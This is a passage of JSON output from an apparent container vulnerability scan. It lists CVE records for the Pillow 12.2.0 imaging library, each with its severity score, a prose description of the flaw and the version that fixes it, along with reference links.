}, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112893", "https://advisory.echohq.com/cve/CVE-2026-112893", "https://getsafety.com/v/SFTY-20261021-31867/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47", "https://nvd.nist.gov/vuln/detail/CVE-2026-112893", "https://www.cve.org/CVERecord?id=CVE-2026-112893" ], "PublishedDate": "2026-10-19T22:17:09.35Z", "LastModifiedDate": "2026-10-28T16:17:02.413Z" }, { "VulnerabilityID": "CVE-2026-112894", "VendorIDs": [ "GHSA-jg86-v3jv-hrpm" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112894", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f10004ef12a7b0b757018ee3a5c9031bd571d868e3fd6390f8ccb769588421a1", "Title": "pillow: pillow: Denial of Service via crafted multi-frame image conversion", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow takes quadratic time to reserve PDF object identifiers when saving many frames with save_all enabled. PdfParser.next_object_id() repeatedly rebuilds and scans all previously reserved identifiers for every object. An attacker can supply a multi-frame image, including a small APNG with a large declared frame count, to an application that converts it to a multipage PDF. This can consume excessive CPU and deny service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112894", "https://advisory.echohq.com/cve/CVE-2026-112894", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-17221/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/f6a852555f1a1bdff7781abf25f1a3b8bd6ce6cb", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-jg86-v3jv-hrpm", "https://linux.oracle.com/cve/CVE-2026-112894.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112894", "https://www.cve.org/CVERecord?id=CVE-2026-112894" ], "PublishedDate": "2026-10-19T22:17:09.483Z", "LastModifiedDate": "2026-10-27T14:56:28.823Z" }, { "VulnerabilityID": "CVE-2026-112895", "VendorIDs": [ "GHSA-p4wg-p73j-c528" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112895", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b9c45cc94bd9d2c8c1fac6c781895fa894261e93569aec94fa92385505b08521", "Title": "pillow: pillow: Denial of service via crafted PDF during append operations", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can exhaust resources while parsing an existing PDF during an append operation. PdfParser follows page-tree child references without cycle or duplication tracking and follows previous-trailer chains with only an exact repeated-offset guard, so deep or cyclic page trees and long chains of unique trailer offsets can exhaust the Python stack. Repeated non-cyclic /Kids references can also cause super-linear CPU and memory use. An attacker can supply such a PDF to an application that calls Image.save with PDF append enabled. This can raise an uncaught RecursionError or consume excessive CPU and memory before output is written, causing denial of service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-674" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112895", "https://advisory.echohq.com/cve/CVE-2026-112895", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528", "https://linux.oracle.com/cve/CVE-2026-112895.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112895", "https://www.cve.org/CVERecord?id=CVE-2026-112895" ], "PublishedDate": "2026-10-19T22:17:09.62Z", "LastModifiedDate": "2026-10-27T14:56:20.7Z" }, { "VulnerabilityID": "CVE-2026-112896", "VendorIDs": [ "GHSA-pchr-8j38-3x4p" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112896", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:adac79f3f94c91ff447a320f99e9b008f991249ba78e0d8d87467d78b680b384", "Title": "pillow: Pillow: Denial of Service via out-of-bounds read in TIFF encoder", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's TIFF encoder can read beyond a ColorMap buffer when retained TIFF metadata has a plane size inconsistent with BitsPerSample. A small TIFF can be opened normally and then retain a crafted ColorMap that is reused when the image is saved. An application that re-encodes the attacker's TIFF with libtiff can trigger the out-of-bounds read. This can disclose heap memory in the output or crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112896", "https://advisory.echohq.com/cve/CVE-2026-112896", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/d03dc3c587a9b0bdc9e4304d70d59a635a87b742", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-pchr-8j38-3x4p", "https://nvd.nist.gov/vuln/detail/CVE-2026-112896", "https://www.cve.org/CVERecord?id=CVE-2026-112896" ], "PublishedDate": "2026-10-19T22:17:09.76Z", "LastModifiedDate": "2026-10-27T14:55:49.017Z" }, { "VulnerabilityID": "CVE-2026-112897", "VendorIDs": [ "GHSA-q45j-58j2-45rg" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112897", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1f46c1bfa731eb758db572241f569143c288f6fd9578f5201f820215c7856ecb", "Title": "pillow: pillow: Information disclosure via uninitialized buffer in TIFF decoding", "Description": "Pillow is a Python imaging library. From 5.3.0 until 13.0.0, Pillow can return uninitialized memory as pixels when libtiff performs a short decode of JPEG-compressed or Group 4 fax TIFF data. The _decodeStrip and _decodeTile buffers can be larger than the bytes written by libtiff, but Pillow converts the expected rows without clearing the unwritten tail. The tile path is affected from 5.3.0 and the strip path from 6.0.0. An attacker can supply a crafted TIFF to an application that loads and returns or re-encodes its pixels. This can disclose stale heap contents without memory corruption or a process crash. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-908" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 6.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112897", "https://advisory.echohq.com/cve/CVE-2026-112897", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-q45j-58j2-45rg", "https://nvd.nist.gov/vuln/detail/CVE-2026-112897", "https://www.cve.org/CVERecord?id=CVE-2026-112897" ], "PublishedDate": "2026-10-19T22:17:09.9Z", "LastModifiedDate": "2026-10-27T14:55:26.993Z" }, { "VulnerabilityID": "CVE-2026-112902", "VendorIDs": [ "GHSA-xvh5-g6gv-559v" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112902", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:cd6ade2cc9c7142e30049bbd5481dae0f966d8f5278e350499d828fedd6de18e", "Title": "Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags", "Description": "Pillow is a Python imaging library. In versions through 12.3.0, the libtiff TIFF encoder can pass arguments to  TIFFSetField()  that do not match libtiff’s definition of the corresponding tag. When an application saves attacker-controlled image metadata through this encoder, crafted tag values can cause invalid memory reads, copying process memory into the encoded output or crashing the process. Applications that return the encoded output to an attacker can disclose that memory. The issue is reachable when re-saving compressed TIFF images and through certain conversions that preserve EXIF metadata into compressed TIFF output. This vulnerability is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-686" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112902", "https://advisory.echohq.com/cve/CVE-2026-112902", "https://getsafety.com/v/SFTY-20261021-68388/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/570df030c0d30c2bf5336b2ab59f3902d8ab0b6d", "https://github.com/python-pillow/Pillow/commit/af56ace297b0991d02988fcc2ea933e4824b4fb3", "https://github.com/python-pillow/Pillow/pull/10227", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xvh5-g6gv-559v", "https://nvd.nist.gov/vuln/detail/CVE-2026-112902", "https://www.cve.org/CVERecord?id=CVE-2026-112902" ], "PublishedDate": "2026-11-05T21:18:36.713Z", "LastModifiedDate": "2026-11-05T21:18:36.84Z" }, { "VulnerabilityID": "CVE-2026-54058", "VendorIDs": [ "GHSA-62p4-gmf7-7g93" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54058", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:8e8dde0c107749e7ab44b85360adf7ae8082bddbd7bd33bfd7cb719c7f8a1a87", "Title": "Pillow: Pillow: Memory disclosure or denial of service via crafted McIdas AREA image", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 4, "ghsa": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.3 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:48021", "https://access.redhat.com/security/cve/CVE-2026-54058", "https://advisory.echohq.com/cve/CVE-2026-54058", "https://bugzilla.redhat.com/2500043", "https://bugzilla.redhat.com/2500057", "https://bugzilla.redhat.com/show_bug.cgi?id=2500043", "https://bugzilla.redhat.com/show_bug.cgi?id=2500057", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54058", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59197", "https://errata.almalinux.org/8/ALSA-2026-48021.html", "https://errata.rockylinux.org/RLSA-2026:48021", "https://github.com/advisories/GHSA-62p4-gmf7-7g93", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d", "https://github.com/python-pillow/Pillow/pull/9719", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93", "https://linux.oracle.com/cve/CVE-2026-54058.html", "https://linux.oracle.com/errata/ELSA-2026-48021.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54058", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-54058" ], "PublishedDate": "2026-07-14T17:17:03.433Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-54059", "VendorIDs": [ "GHSA-8v84-f9pq-wr9x" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54059", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f61b512432b59b88b39c714443f7553db828da888a4ee5e9b542511d790d3024", "Title": "python-pillow: Pillow: Denial of Service via crafted PCF font data", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-54059", "https://advisory.echohq.com/cve/CVE-2026-54059", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-8v84-f9pq-wr9x", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x", "https://linux.oracle.com/cve/CVE-2026-54059.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54059", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-54059" ], "PublishedDate": "2026-07-06T19:17:08.127Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-54060", "VendorIDs": [ "GHSA-5x94-69rx-g8h2" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54060", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1646025cb6cb09015012fc702ec6c53a2e0c6f3a7a8ced05bc28a286e85973a7", "Title": "python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\"1\", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-54060", "https://advisory.echohq.com/cve/CVE-2026-54060", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", 